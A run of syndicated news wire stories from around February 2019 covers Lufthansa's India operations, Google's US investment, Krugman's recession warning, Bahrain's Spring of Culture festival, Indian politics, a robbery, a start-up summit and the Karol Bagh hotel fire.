Lufthansa Group's carriers 'Lufthansa' and 'SWISS' currently offer 58 flights from four Indian cities -- Delhi, Mumbai, Chennai and Bengaluru.

"For a European carrier, the balancing act of making a route profitable is a difficult calculation. We have been successful on Western side of the country, including Delhi. We tried Calcutta and Hyderabad some years ago and it was not easy, to put it that way," he added.

"So, if we expand to second tier cities, me as George Ettiyil I would say yes, I would really love to. But as Lufthansa group, we have to be very prudent. Growth has to be in such a way that it is prudently done," he said.

Ettiyil has replaced Wolfgang Will, who is leaving India after five years and heading back to airline's headquarters in Frankfurt, Germany. In a statement Wednesday, the airline said Will would be "taking over the responsibility for a strategically important project in the B2B sales department".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Google said Wednesday it will invest $13 billion in US data centers and offices this year as the internet giant continues to expand across the country.

The spending will build on more than $9 billion in US investments in the past year and should create the potential for tens of thousands of new jobs, according to chief executive Sundar Pichai.

"This growth will allow us to invest in the communities where we operate, while we improve the products and services that help billions of people and businesses globally," Pichai said in an online post.

"Our new data center investments, in particular, will enhance our ability to provide the fastest and most reliable services for all our users and customers." Investments this year will focus outside of Silicon Valley where Google has its home, and give the company outposts in 24 states.

This will be the second year in a row that Google will "be growing faster outside the (San Francisco) Bay Area than in it," Pichai said. Google last year hired more than 10,000 people in the US, according to the company.

The internet giant is also making significant investments in renewable energy to power US operations, Pichai said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)There is "quite a good chance" of a global late this year or next year, Nobel Prize-winning economist has warned, citing a general lack of preparedness among economic policymakers.

Speaking at the World Government Summit in Dubai, Krugman said it was unlikely that just "one big thing" would prompt an economic downturn.

He said a range of economic headwinds would increase the likelihood of a slowdown.

"I think that there is quite a good chance that we will have a late this year or next year," he said.

"The main concern has always been that we don't have an effective response if things slow down...We don't seem to have a safety net," the eminent academic said.

Noting that the central banks often lack the tools available to insulate against market turmoil, Krugman said the planning for risk has been minimal.

He said instead trade wars and growing protectionism continue to dominate policy agendas, deferring attention and resources from what should be the real priorities.

Drawing an analogy between the state of the global and the famous Titanic ship, Krugman said, "I don't see the iceberg out there, but if we do hit one, I know for sure this liner is not unsinkable".

Krugman said stagnant wages, growing inequalities and a loss of confidence in the world's business leaders have created a spirited populist backlash against globalisation.

"The result is clear: Forward motion on globalisation has stopped, but it was slowing anyway," he said.

Krugman said people feel they have been short-changed by the last generation of economic growth, and the consensus around the problem is not mirrored in discussions of the solution.

"The question is what they want as the solution...Turns out that's not as clear," Krugman said, pointing to the gap that leaders must fill in order to avert the next Great Depression.

Krugman also expressed skepticism about the promise of the Fourth Industrial Revolution.

"Technological change is actually relatively sluggish right now," he said.

He warned against the calls of an impending "labour Armageddon" at the hands of increasing digitalisation.

"This is not a transformative revolutionary era," he said on Sunday, adding that despite the technological advancements in the last 25 years, the way people work has not changed all that much.

Krugman is a professor emeritus of Princeton University's Woodrow Wilson School. He won the Nobel Prize in 2008 for his work on economic geography and identifying trade patterns.For the 14th consecutive year, the Spring of Culture Festival returns in a new cultural season full of activities that cater to various tastes, interests and age groups and underscore Bahrains position as a leading regional and global cultural hub.



Details of this seasons agenda were announced at a joint press conference organised on February 11 in Al-Hidaya Al-Khalifiya School in Muharraq by the Bahrain Authority for Culture and Antiquities (BACA), Economic Development Board (EDB) and the Shaikh Ebrahim bin Mohammed Al Khalifa Centre for Culture and Research (SECCR), in collaboration with Albareh Art Gallery and La Fontaine Centre for Contemporary Art.



The latest season of the festival comes as part of BACAs year-long celebrations of Bahrains achievements under the slogan From Jubilee to Another- A Year of Celebrations.



Attending the press conference were BACA president Shaikha Mai bint Mohammed Al Khalifa and EDB CEO Khalid Al-Rumaihi, as well as several diplomats and ambassadors, festival sponsors, cultural personalities and media members.



Speaking on the occasion, Shaikha Mai said: We announce the 14th edition of the Spring of Culture from Al-Hidaya Al-Khalifiya School, a beacon which reflects Bahrains social, economic and cultural advancements.



The school is one of the landmarks of this years celebrations of our national achievements under the slogan From One Jubilee to Another- A Year of Celebrations, as this year marks its 100th anniversary, she added.



She went on to note that the festival, which runs for more than two months, is a continuation of the nations journey of cultural achievements and meeting of civilizations, with a full-fledged and diverse schedule of literary, musical, artistic, and theatrical activities.



Expressing his appreciation for the efforts of the public and private sector sponsors of the Spring of Culture Festival, Al Rumaihi said: The rise in sponsorship of the Spring of Culture festival year after year reflects the keenness of all stakeholders to establish Bahrain as a regional and global cultural centre. Over its past editions, the two-month festival has consolidated its reputation as an important cultural gathering that brings events and personalities from all over the world to Bahrain and enriches the local cultural movement.



Gold Sponsors of the 2019 Spring of Culture include GFH Financial Group, National Bank of Bahrain and Tamkeen and Batelco, while Silver Sponsors include Alba, Bahrain Airport Company, Bahrain Duty Free, Bank of Bahrain and Kuwait, and Huawei, and supported by Gulf Air.



Also, special thanks to the embassies of Italy, Japan, South Korea, France, Germany and Egypt who are taking part in the program.



As is in every year, the Spring of Cultural programme of activities that will be hosted by a broad range of local cultural, historical and architectural landmarks will commence on February 25 in conjunction with Arab Tourism Day, an occasion which was adopted when Manama was the Capital of Arab Tourism in 2013 to mark the birthday of the great Arab traveller Ibn Battuta.



Exhibitions

This year's festival season features numerous art exhibitions, starting with the 45th Bahrain Fine Arts Exhibition which takes place at the Arena Tent at the Ritz Carlton Bahrain Hotel in Manama and highlights the works of various Bahraini and expat artists in the kingdom until March 30. The Bahrain National Museum meanwhile will host three exhibitions: "Design Crossroads: The Jewellery of Saudi Arabia", the "Golden Jubilee Celebration of Bahraini Diplomacy" and the "Bahrain National Museum: A 30th Anniversary Retrospective" which will conclude on April 3, April 13 and May 15, respectively.



The Memory of the Place - Bin Matar House will host the exhibition "CERN in Bahrain", a showcase of the wonderful world of physics and secrets of the universe that runs until May 8. From February 19 to March 9, Albareh Art Gallery will host the fine arts exhibition "Nostalgia" highlighting the glass creations of Artist Jamal Al-Yousif that reflect the "subconscious warmth that one feels from nostalgia". "Pathways" by the Artist Rasmi Al-Khafaji, from March 1231, features monochromatic watercolours that reveal the final hitherto unknown outcomes of the painting process.



From March 330, The Art Centre will host "Noor", an exhibition by Artist Marwa Rashid Al Khalifa that takes the public on a journey of her incredible paintings, photography and light installations. The La Fontaine Centre presents the Turkish exhibition "Spark!" from March 16 to April 15 which displays the works of Ali Abayoglu, an artist who sees beauty in what others deem to be rubbish and transforms these objects into charming and vibrant artworks using mundane materials.



The Bahrain National Theatre will host an exhibition of its own from March 7 to May 5 that allows audiences to witness the beauty of the traditional Korean costume known as the Hanbok. Studio 244, a joint initiative between the Supreme Council for the Environment and BACA will transform Arad Bay Protected Area and Park into an open space for multiple activities.



Music, Song and Shows

The Spring of Culture Festival is replete with song, music and theatre performances, including Scheherazade at the Bahrain National Theatre on February 25, a Russian ballet inspired by the tales of 1,001 Nights and first performed by one of the most influential ballet groups of the 20th century. The Bahrain Theatre will also host a musical evening Alongside You honouring the journey of the Bahraini icon Khalid Al Shaikh featuring the Bahrain Music Band and led by maestro Khalifa Zaiman, as well as a performance of Don Giovanni and the music of maestro Rene Jacobs performed by the Freiburg Baroque Orchestra.



Bahraini folk music is also very much present in this edition of the festival, where, starting from February 28, the Mohammed Bin Fares Hall for Fan Al-Sout in Muharraq will host the Mohammed Bin Fares Band in weekly evening concerts held every Thursday that highlight the song heritage of diving, pearls, weddings and happy occasions. Dar Al-Riffa will also highlight the areas local heritage on March 2, 16, 30 and April 13 and 27, while Dar Al-Muharraq will celebrate the various chants of the unique fjiri musical genre on March 9 and 23 and April 6 and 20.



The Cultural Hall, in turn, is set to host a multicultural series of live performances, including a taste of quintessential Italian sounds by the Hathor Plectrum Quartet and tenor Aldo Gallone on March 14, while the Miyabi Ensemble showcases Japans signature Taiko drums and other traditional instruments such as the shinobue in two concerts on March 3 and 4. All performances will take place at 8:00 pm.



In addition, the Cultural Hall will host a journey through the traditions of Azeri, Kurdish, Syrian and Armenian music by the Haidouti Orkestar on March 7. Then on March 14, Germanys Arcis Saxophon Quartet pays tribute to the great masters of music, followed by Ahmed Effat will pay homage to Abdel Halim Hafez on March 21 accompanied by the Arabic Music Ensemble.



The Cultural Hall concert series continues with American pianist Steven Lin on March 22 and his virtuoso performance of classic works of masters such as Beethoven, Liszt and Schumann. On March 29, Scott Booth presents his unique style of complex rhythms on the six-string guitar. Finally, on April 2, audience will be treated to an audio-visual feast by Korean fusion band Queens unique blend of traditional and contemporary elements.



At the Shaikh Ebrahim bin Mohammed Al Khalifa Centre for Culture and Research, young Azerbaijani Artist Ghochag Askarov will perform alongside three musicians a showcase of Azerbaijans Sufi music, while artist Macadi Nahhas will sing select classics that highlight Arab and Oriental music heritage.



The festival also features a series of concerts organised by the Economic Development Board that will be held at purpose-built open-air theatre in Bahrain Bay headlined by several Bahraini, Arab and international artists. The line-up includes Majid Al Muhandis and Sherine Abdel-Wahab (March 14), Playing for Change Band concert (March 16), "Mr. Adam" performed by Almaty Symphony Orchestra (March 22 and 23), and many others.



The Bahrain Fort also has a share in this years festival as it hosts the interactive "Sound and Light" display every Tuesday, Thursday and Friday to shed light on the history of the ancient site from the Dilmun civilization to today. La Fontaine Centre will also host a music and dance show of its own entitled "Tango Dancing" on March 15.



Literary, intellectual, and cultural lectures

The Shaikh Ebrahim bin Mohammed Al Khalifa Centre for Culture and Research will lead the slate of literary and intellectual events of the festival. The programme includes lectures by Jihad Al-Zein on the transformations of Arab political culture (February 26), Dr. Amal Moussa of Tunisia on political Islam and the issue of gender equality (March 18), Lebanese TV host Giselle Khoury on the freedom of expression and the status of media in the Arab world (March 25), and more. Abdullah Al Zayed House for Bahraini Press Heritage hosts a number of lectures as well, including Olfa Al-Oueslati from Tunisia to talk about her experience in the media world (April 22). Dr Dheya Al Kaabi will present a lecture at Al-Khalifiya Library in Muharraq on the book Belated Travelers by Ali Behdad (March 13).



In addition to literature, the festival will shed light on poetry, with the Ebrahim Al-Arrayed House of Poetry hosting readings by Moroccan poet Abdulrahim Al-Khassar (March 11), entitled "I Banged the Drums to Sing and War Broke Out and Kuwaiti poet Abdullah Al-Failakawi (April 8) entitled Prayers from the Heart".



At Bab Al-Bahrain, BACA will continue the weekly Thursday events of 5 PM at Bab, offering visitors a variety of family-friendly activities that reflect the dynamics of the locale and its historical value. The Spring of Culture Festival will also witness the inauguration of "Manama of Al-Gosaibi", a project by the Shaikh Ebrahim bin Mohammed Al Khalifa Centre for Culture and Research to preserve the legacy of Ghazi Al-Gosaibi in a heritage house adorned with beautiful traditional architectural features.



Cinephiles will not feel left out either, with a full program of events highlighting the art of filmmaking, including the Japanese Film Festival at the Bahrain National Museum (March 6, 13, 20 and 27) at 7:00 pm. The documentary film Finding Vivian Maier on April 6 will be shown at Memory of the Place - Bin Matar House, while Qalat al Bahrain Site Museum will show Safar Barlik on classic Arabic movie night on April 11.



In conjunction, the Spring Culture Festival features several educational tours that illuminate various aspects of Bahrains ancient heritage, including a morning tour on March 2 in which the public will have an opportunity to explore the farms of northern Bahrain and learn about the local agriculture and traditional farming methods. On March 16, a walkathon will explore the landmarks along the Pearling Path, Bahrains second Unesco World Heritage Site, followed by a tour on April 20 of long-used fisheries locations in which participants will learn how to make traditional traps from readily available natural materials around the Bahrain Fort.



As for panel discussions and talks, Bin Matar House will host the latest of its Majlis Talk series on March 16 with Artist Camille Zakharia to delve into the topic of artists books. On March 26, the Bahrain National Museum will host a forum and book launch focusing on the experience of artist Khalid Al-Shaikh's, followed on April 16 by a panel discussion to mark the launch of the Food is Culture 4 book. Bin Matar House will also host a public event on April 27 in which attendees will spend the day discovering various photographic techniques.



The 14th Spring of Culture Festival programme also features a fair share of international conferences and meetings, including the 7th Annual Coordination Meeting of the UNESCO World Heritage at the Arab Regional Centre for World Heritage (ARC-WH) on April 28 to highlight historical urban landscape of the world's cultural heritage. ARC-WH will moreover organise a series of events from March 24 to 28 entitled A Conversation on Hawar: Preservation and Development. BACA, meanwhile, will hold a press conference on April 8 to give an update on the participation of the Kingdom of Bahrain in the Expo 2020 Dubai.



Workshops, social responsibility, and talent development

The Spring of Culture Festival will present a series of workshops in various artistic fields with the support of the Bahrain Authority for Culture and Antiquities, the Economic Development Board, the Shaikh Ebrahim bin Mohammed Al Khalifa Centre for Culture and Research. The workshops will offer learning opportunities designed to promote talents in various cultural disciplines. Various workshops on music will be held at the Flexible Theatre at the Bahrain National Theatre, which will be conducted by young talented Bahraini Artists. Full details on the workshops and how to register can be found on the festivals website www.springofculture.org.



Street Theatre shows

The Spring of Culture Festival will present a number of Street Theatre shows that are free for the public. The shows will be performed by international performers in different venues around the kingdom. The calendar includes "Hot Potato Band" from Australia, "Ghana Acrobatics" from Ghana, "Sulky M1" from the Netherlands and The Great Wolynski from Argentina.



As part of the Festivals commitment to contributing to the needs of the local community in the development of Bahraini talents in various technical fields, the Spring of Culture Community Programme, sponsored by the Economic Development Board, continues its efforts to organize several workshops for various governmental and social institutions in cooperation with the Ministry of Education, the National Bank of Bahrain Rehabilitation Home for Disabled.



The public will also have the opportunity to participate in the numerous youth-oriented educational programmes and workshops held throughout the festival which are designed to develop their skills in music, art and traditional crafts. Full details of these workshops and all festival events are available on the festival website (www.springofculture.org). - TradeArabia News Service

The Gujarat Forensic Sciences University (GFSU), the world's first university dedicated to forensic and allied sciences, Wednesday signed MoUs with police training institutes of three central Asian countries.

The MoUs were signed with Karaganda Academy of the Ministry of Internal Affairs of Kazakhstan, Academy of the Ministry of Internal Affairs of Uzbekistan, and Law Enforcement University of Mongolia, the GFSU said in a press release.

"The MoUs were inked during the 8th annual conference of the International Association of Police Academies (INTERPA) being held at the Gandhinagar-based university. They are aimed at strengthening the criminal justice delivery system and maximising the use of the knowledge of forensic science and cyber security," it said.

Senior police officials from 36 member countries of INTERPA are attending the meet.

The university said the MoUs pertain to collaborations in areas of training, consultancy, research and academics in the fields of forensic science and cyber security.

"The institutes will together conduct study on new technologies that are being developed to solve international crimes. The collaborating institutes will also develop new technologies in the field of forensics," it said.

Studies will be conducted between collaborating institutes in areas of behavioural science, forensic nano-technology, computer forensics, cyber crime, cyber security, forensic pharmacy, forensic psychology, environmental forensics, among other subjects, it said.

"GFSU's MoUs with the leading institutes of the three countries will help make criminal justice delivery system stronger and maximum use of the knowledge of forensic science and cyber security," it said.

The university, which is the world's first and only university dedicated to forensics and allied sciences, has so far signed MoUs with 46 international and 44 national institutes.

"But this is the first time that MoUs have been signed with police training institutes," it said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A gang of suspected interstate robbers has stolen a container load of cellular phones, estimated to be worth Rs 4 crore, in SPS Nellore district of Andhra Pradesh, police said Wednesday.

The gang, comprising more than three members, waylaid the container-laden truck on the National Highway-16 near Dagadarthi in Nellore late Tuesday night and forcibly drove it away by kidnapping the driver, they said.

The container was filled with a consignment of cellular phones manufactured at Sri City SEZ in neighbouring Chittoor district and was on its way to Kolkata.

Nellore district Superintendent of Police A Rastogi told PTI some miscreants came in a car and brought along a lorry when they intercepted the container-laden truck.

The SP said they kidnapped the truck driver and drove the vehicle away and abandoned it near Bitragunta.

They also let the driver off, Rastogi said.

"The cellular phones were reloaded into the lorry the miscreants brought along and driven away," the SP added.

The truck driver called the police control room around 1 am following which the police launched a hunt to trace the gang and the lorry.

"It is likely that the miscreants are part of an inter-state gang. We have formed special teams to nab them," Rastogi said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Four disgruntled Congress MLAs, who had gone missing for several weeks amid political turmoil in Karnataka, surfaced here Wednesday two days after the party recommended their disqualification to the state assembly Speaker.

The lawmakers had kept the party on tenterhooks for several weeks, defying its whip twice to attend the Congress Legislative Party (CLP) meetings on January 18 and February 8 and had been skipping the ongoing assembly Budget Session since February 6.

Ramesh Jarkiholi, Umesh Jadhav, B Nagendra and Mahesh Kumathali, who were reported to be in touch with the BJP,which has been accused of trying to poach the MLAs to bring down the JDS-Congress government, also attended the assembly session Wednesday, giving some relief to the ruling coalition.

The MLAs were upset ever since the cabinet reshuffle and expansion on December 22 that saw removal of Jarkiholi.

Jarkiholi denied that he indulged in anti-party activities or even challenged the party high command.

"There is no denying the fact that I was upset, but I neither indulged in anti-party activities nor challenged our party high command. I was in Mumbai for my daughter's marriage that is to take place on February 24. I was meeting my relatives and in the evening I will be going to Mumbai again," Jarkiholi said.

Asked for his response to CLP leader Siddaramaiah's petition to the Speaker to disqualify him, he said they were free to do so.

"Let's see. I had told you before too that I am always ready to resign. If they want to disqualify me, let them do it. I am all alone," Jarkiholi said.

To a question whether he had been in touch with the BJP leaders when he went incommunicado for one-and-half months, he said the BJP leaders were not his enemies, but friends and his differences were restricted only to their ideology.

"I have many friends in the BJP. We politicians are not enemies, but friends. Our differences are limited to party ideologies. On other issues, we are all friends. Me and Umesh Katti (BJP MLA) will go together (to Mumbai) in the evening," Jarkiholi said.

The disgruntled Congress MLA said he has come to attend the assembly session and discuss the problems facing them.

He added that he would speak to the party high command and take further steps.

Nagendra too agreed with Jarkiholi that they were upset.

"All the four of us are together. It is quite natural that we were upset," Nagendra told reporters.

Jadhav said he did not come here "out of fear", but to ensure that the finance bill was passed.

"It is my duty to get the budget passed. Hence, I came here," Jadhav said.

The Congress had petitioned Assembly Speaker K R Ramesh Kumar on Monday, seeking action against the four MLAs after warning them to mend their ways and fall in line.

The four lawmakers skipped the CLP meeting on January 18,which was meant to be a show of strength in the backdrop of BJP's alleged bid to topple the coalition government, and another CLP meet Friday last, despite a whip.

The MLAs were earlier given notices, seeking an explanation for their conduct.

Another Congress MLA J N Ganesh, who was reportedly on the BJP's radar for desertion, is absconding ever since he allegedly assaulted fellow lawmaker Anand Singh during a brawl at a resort recently.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)West Bengal Chief Minister Mamata Banerjee on Wednesday said that while the Congress and the Trinamool Congress will contest against each other in the state, they will fight together at the national level against the BJP.

The statement comes hours after Banerjee, upset with Congress leader Adhir Ranjan Chowdhury's attack on her over the Saradha chit fund case in the Lok Sabha, registered her displeasure with UPA chairperson Sonia Gandhi in Parliament.

Sources said Gandhi, while trying to placate her, said, "We are accusing each other but we are friends," to which the TMC chief responded: "I will remember."



"Any fight with the Congress will remain in the state. At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything," she said at the Aam Aadmi Party (AAP) protest at Jantar Mantar which was attended by several opposition leaders.

Banerjee, who is in Delhi till Thursday, also met RJD's Misa Bharti, Bahujan Samaj Party's (BSP) Satish Mishra, SP's Jaya Bachchan and Dimple Yadav in her room in Parliament in the morning.

Addressing the protest, Banerjee appealed to all opposition parties to play to their strengths and not cut into each others' votes. She also asked them to ensure that they get all the seats in the states they are strong in.

"Whichever party is strong should work there, fight there against the BJP, in Delhi, it's AAP, in UP, it is BSP, SP, in Kashmir, there is Farooq Abdullah...for higher good, some sacrifices are needed...If we want, we can fight in many more seats, but we never do this for the higher good," she said.

In an apparent dig at the Congress whose state unit is fighting tooth and nail against the TMC, Banerjee said while the Rahul Gandhi-led party is strong in the three heartland states, they should not cut into her party's votes in West Bengal.

"We tell the Congress, if you are strong in Chhattisgarh, Madhya Pradesh and Rajasthan, you should fight there. But where we are strong, don't let the BJP win. I am used to fighting the BJP, CPM and the Congress because in Bengal, these three parties fight together. Even if we make an understanding, they don't transfer votes. I am used to this. I am not scared. How much ever they fight, I will get 42 out of 42," she asserted.

The TMC chief also attacked the Centre over the CBI's failed bid to question Kolkata Police Commissioner Rajeev Kumar at his home, saying she has never seen a government that "stooped so low".

"It is the prime minister's last day as elected leader in Parliament today," she said after the Lok Sabha adjourned sine die.

"Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," she claimed.

She said that the PM's speech in Parliament was "his last" in the House as a people's representative and that his government has reached its "expiry date".

Calling out the government for erecting statues and spending money on building its party office, Banerjee said that they did not respect the great leaders of the country and remembered them only during elections.

"They remember these people only during elections. They only want to make statues," she said.

Asserting that regional parties are not weak, she appealed to all these parties to mobilise their workers so that the anti-BJP front gets stronger.

"Regional parties are not weak, my party, Sharad Yadav's party, Farooq Abdullah's party and the others are all recognised parties. It's just that the BJP has a lot of money. How much money is spent on one meeting of Modi? They give bike, cars, thousands of rupees...They have made a party office in Delhi which is no less than a shopping mall," Banerjee said.

She alleged that ministers of this government had called her to stop her from talking against the PM which she rebuffed.

"Can't I even talk?...send the CBI to my house, let me now and I will make lunch for them, whatever they want, be it vegetarian or non-vegetarian...

"I am not scared. Shrouds wait for me, I don't wait for shrouds (kafan humara intezar karta hai, hum kafan ke liye nahi). This is my fight," she said.

Stating that the situation in India was more dangerous than the days during the emergency, Banerjee said democracy has become 'Namocracy'.

"It is easy to see dreams but you should know how to dream. Modiji, you don't know how to dream, you know how to break the country. I know how to join the country...we will all fight together," she said.

A host of opposition leaders, including West Bengal Chief Minister Mamata Banerjee, TDP chief N Chandrababu Naidu, National Conference's Farooq Abdullah, Nationalist Congress Party's Sharad Pawar and CPI(M)'s Sitaram Yechury also spoke during the rally.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)/ -- BLAZE- Igniting Ideas, its flagship start-up summit brings together a stellar group of successful entrepreneurs, Investors and business leaders to support deserving start-ups



Invites applications from start-ups with less than five lakhs revenue seeking to fund and scale their ventures



Announces business competition to incentivize students with game changing ideas to pursue entrepreneurship as a career choiceFLAME University, the pioneer of liberal education in India, will bring together a stellar group of successful entrepreneurs, investors and business leaders at BLAZE- its flagship start-up summit on March 1-2, 2019 at its campus in Pune. Designed with the aim of supporting and growing start-ups, the summit will be led by Darshan Doshi, Director of the FLAME Centre for Entrepreneurship and Innovation (FCEI).

(Logo: http://mma.prnewswire.com/media/522127/FLAME_University_logo_Logo.jpg )



Making the announcement, Professor Dishan Kamdar, Vice Chancellor, FLAME University, said, "BLAZE is an initiative by FCEI at FLAME that envisions to bring together thought leaders, entrepreneurs, investors and business leaders on a common platform to support deserving entrepreneurs. We will provide them the opportunity and incentive to reach their potential and hope that they build ventures that will create jobs and wealth in the future."



The theme of BLAZE is to understand the challenges faced by innovators and startups in their journey to scale through workshops, talks and panel discussions with trailblazers in this space and give aspiring entrepreneurs an opportunity to grow through the new venture competition. As a part of this, FCEI will select 15 truly amazing new ventures and business ideas from applicants across India to present their business-pitch to an 'Investor Panel', comprising of eminent names from the industry and the start-up world.

Outlining the value-add that BLAZE will provide to start-ups and idea stage ventures, Darshan Doshi, Director of FLAME Centre for Entrepreneurship and Innovation (FCEI) at FLAME, said, "BLAZE will play the role of a catalyst in accelerating the growth of entrepreneurship across the country. What differentiates BLAZE is that it offers a multifold ROI to the promising ideas and selected ventures. We will partner with the entrepreneurs to identify their growth areas, solve their challenges and hand-hold them till they are ready to go to market. We will also connect them with prospective customers and Investors for potential funding support and provide them the much needed boost to grow and scale their ventures confidently."



The agenda for the two-day summit and the speakers who are expected to speak at the summit is as follows:



Friday March 1, 2019 (1pm - 8pm)



Opening address by Dr. Dishan Kamdar, Vice Chancellor, FLAME University 'Startup Opportunities from the eye of an investor' by Pranav Pai, Partner 3one4 Capital 'Scaling & Exiting a Fintech Startup' by Patanjali Somayaji, CTO, Capital Float and Co-founder, Walnut App Investor Panel Discussion: 'What Investors want to see in Startups' with Pranav Pai, Vaibhav Domkumdwar, Sachin Oswal, Abhishek Prasad DEMO Day - Eight Early-stage startups Pitch to Investors



'Building a Brand in India' by Riya Shah, founder, The Quick Wok 'Indian Startup Ecosystem: Deriving benefits from events, incubators, accelerators' workshop by Praveen Dorna, Co-founder, StartupByte Product Showcase - Student Exhibits across FLAME Campus Saturday March 2, 2019 (9am - 6pm)



'How to Build Scalable Global Startups from India' by Tarun Davda, Partner & MD, Matrix Partners 'RealLives to Real Life - Training Youth in Empathy, Sustainable Development & Change making' by Dr. Parag Mankeekar, Ashoka Fellow, Leader - RealLives Global Scaling, Founder Director - NeetiMr. Bennychan Solutions, Founder - YoungChangeMakers Conference 'Enterprise AI Landscape and Data Science General Practices' by Rohit Pandharkar, Head of Data Science and Artificial Intelligence at Mahindra Group BLAZE New Venture Competition - 15 Selected Startups Pitch to Investors



'Changing Global Trends in Media Consumption' by Tapas Sen, Co-founder & CPO RadioMirchi 'Working with Legends in the Indian Music Industry' by Shameer Tandon, Founder, Music Boutique 'Should I Startup | Succeed not Fail' workshop by Vikas Kumar, serial entrepreneur, investor and founder, LoanTap Key Initiatives at BLAZE - Igniting Ideas:



New Venture Competition - Startups with less than INR 5 lacs in annual revenue as well as game-changing new business ideas from students from universities, technical and management schools across India are eligible to apply before February 22, 2019. Top three winners will receive INR 85,000 in cash prizes while 15 startups selected to pitch to the investors will receive an opportunity to incubate their ideas at the FLAME Incubator Program to achieve next stage of growth. New Venture Competition Application Link: https://www.flame.edu.in/research/centres/centre-for-entrepreneurship-innovation/blaze-igniting-ideas



FLAME Origins Program Demo Day - FCEI's startup accelerator initiative, the FLAME Origins Program, has accelerated eight early stage startups across India over the last five months. These startups will make their business pitch to prominent angel investors and venture capitalists. Product Showcase - Over 30 FLAME entrepreneurship undergraduate and postgraduate student groups will display a range of products created over this academic year. Workshops, Speakers and Networking - Aspiring entrepreneurs and students can attend the two-day event for free upon registration and get the opportunity to network with prominent business leaders, investors, entrepreneurs and talented students. Individuals interested to attend BLAZE startup summit can register here: https://www.townscript.com/e/blaze-igniting-minds-204341 About the FLAME Centre for Entrepreneurship and Innovation (FCEI):



The vision of FCEI is to build an 'entrepreneurial village' that helps talented individuals launch and scale successful ventures. FCEI runs multiple initiatives to meet the need of various stages of venture growth.

FLAME Origins Program is a startup accelerator program that helps early stage startups scale up through a structured mentorship program over 5 months



FLAME PathBlazers is a series of workshops and talk where we invite entrepreneurs, business leaders and investors who have positively impacted the world FLAME Incubator Program helps idea stage or product ready startups achieve next stage of growth over 6 months FLAME BLAZE is the flagship startup summit that brings together the Indian startup ecosystem.

About FLAME UNIVERSITY:



FLAME University is the pioneer of liberal education in the country. It aspires to be the most reputed and respected university in India and among the top-ranked universities across the world. FLAME envisions itself to be the University of Choice for students, faculty, industry, academia, government and the larger community by creating an impact through its teaching and research. Since its inception, FLAME has been successful in setting benchmarks - unparalleled education experience with its best faculty- student ratio, faculty with great global credentials, association with some of the top international universities, close industry connect, support of an illustrious Board, and creating a strong alumni network. All these are ably supported through the world - class infrastructure and facilities nestled in a picturesque 60 acre green and sustainable campus situated in a valley in Pune.

FLAME University has been established as a state private university vide the FLAME University Act 2014 (Maharashtra Act No. II of 2015) of the Government of Maharashtra. The University is recognized by the University Grants Commission (UGC) under Section 2(f), and degrees awarded by the University are recognized under Section 22 of the UGC Act, 1956. Through its four schools-FLAME School of Liberal Education, FLAME School of Business, FLAME School of Communication and FLAME School of Fine & Performing Arts-the institution is committed to develop individuals who value creativity, innovation, determination and enterprise.

For more information log on to: http://www.flame.edu.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)At least five persons were injured Wednesday after they were beaten up for going wild during a victory rally organised by the Khasi Students Union (KSU) in the city to hail the Citizenship Amendment Bill not been tabled in Rajya Sabha and hence set to lapse, police said.

Superintendent of Police (City) SA Rynjah said as per the preliminary information some rallyists pelted stones and vandalised a few shops of non-tribals in Rynjah and RR colony areas drawing strong reaction from the locals.

Rynjah said the five persons, who most of them sustained grievous injuries, were immediately taken to the hospital.

The SP said that the police are still conducting an inquiry into the matter and are yet to make any arrest.

We have identified some of the people involved in the incident and we will take action accordingly, the SP said.

Meanwhile, a ruling BJP legislator Sanbor Shullai Wednesday hailed the occasion as greatest victory for the indigenous people.

The Bill seeks to provide citizenship to persecuted religious immigrants from Bangladesh, Pakistan and Afghanistan.

Shullai, who is Meghalaya's Tourism Development Corporation chairman, had earlier written to Prime Minister Narendra Modi and threatened to resign from the party if the CAB is passed in the Rajya Sabha.

It is a great victory for the indigenous people of the state and the North East. I have promised my people that I will resign from the BJP if the party goes ahead of pass the Bill, Shullai told PTI.

The National Peoples Party-led Meghalaya Democratic Alliance government of which the BJP is part of in Meghalaya had adopted a resolution last year opposing the Bill.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Police are raiding at possible hideouts of the absconding owner of Arpit Palace Hotel in Karol Bagh where a massive fire broke out Tuesday which claimed lives of 17 people, officials said.

Police are looking for the accused, Shardendu Goel, who also owns a hotel in Gurugram and other areas across Delhi, a senior police officer said Wednesday.

His residence at Bank street in Karol Bagh was found to be locked on Tuesday when a police team went to track his whereabouts. They are questioning his relatives and associates including his brother who stays in Gurugam, the officer said.

Two accused, Rajender, the General Manager and Vikas, the manager of the hotel who were arrested in connection with the incident are taken into police custody for two days.

The case was transferred to the Crime Branch on Tuesday.

The FIR highlights serious violations by the hotel. It states that extensive inflammable materials were used in the hotel and sufficient arrangements were not made to ensure the safety of the guests.

During inspection, it was found that there were no panic alarm at the place of occurrence. There was only one emergency exit, and since it was closed due to uncertain reason no one could come out during the incident, it said.

Lot of combustible or plastic material used on the walls and for making partition walls which triggered the fire. Also, there were no proper signage display for emergency exit, the FIR stated.

A temporary makeshift made up of inflammable material was erected at the rooftop for the kitchen which was unauthorized similarly the kitchen in the basement was also operating illegally, it stated.

Meanwhile, the Embassy of Myammar are in contact with Delhi Police. The embassy has given its No Objection Certificate to carry out the autopsy of two Myanmar nationals who were killed in the incident. The post-mortems will be conducted on Thursday and taken to their home country the same day, police said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court Wednesday sent two men, arrested in connection with a massive fire at Karol Bagh area, to two-day police custody.

Metropolitan Magistrate Shilpi Jain allowed the custodial interrogation of Rajender Kumar and Vikas Kumar Takkal till February 15.

The court directed police to not torture the accused during remand.

